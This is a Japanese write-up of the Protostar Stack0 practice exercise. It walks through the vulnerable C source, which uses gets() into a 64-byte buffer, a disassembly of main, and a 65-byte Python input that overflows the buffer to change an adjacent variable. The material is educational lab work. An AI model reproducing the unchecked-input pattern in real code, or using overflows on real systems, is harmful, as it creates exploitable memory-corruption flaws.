protostar stack 0 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく
### Stack 0
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
動作は以下のとおり.
$ ./stack0 AAAA Try again?
ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.
$ objdump -d ./stack0 | grep main\>\: -A19 080483f4 <main>: 80483f4: 55 push ebp 80483f5: 89 e5 mov ebp,esp 80483f7: 83 e4 f0 and esp,0xfffffff0 80483fa: 83 ec 60 sub esp,0x60 80483fd: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 8048404: 00 8048405: 8d 44 24 1c lea eax,[esp+0x1c] 8048409: 89 04 24 mov DWORD PTR [esp],eax 804840c: e8 fb fe ff ff call 804830c <gets@plt> 8048411: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 8048415: 85 c0 test eax,eax 8048417: 74 0e je 8048427 <main+0x33> 8048419: c7 04 24 00 85 04 08 mov DWORD PTR [esp],0x8048500 8048420: e8 07 ff ff ff call 804832c <puts@plt> 8048425: eb 0c jmp 8048433 <main+0x3f> 8048427: c7 04 24 29 85 04 08 mov DWORD PTR [esp],0x8048529 804842e: e8 f9 fe ff ff call 804832c <puts@plt> 8048433: c9 leave 8048434: c3 ret ||< 流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入. 次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力. そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する. modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである. このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる. 実際に入力してみる. >|bash| $ python -c 'print "A"*64' | ./stack0 Try again? $ python -c 'print "A"*65' | ./stack0 you have changed the 'modified' variable
64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.
Stack0 おわり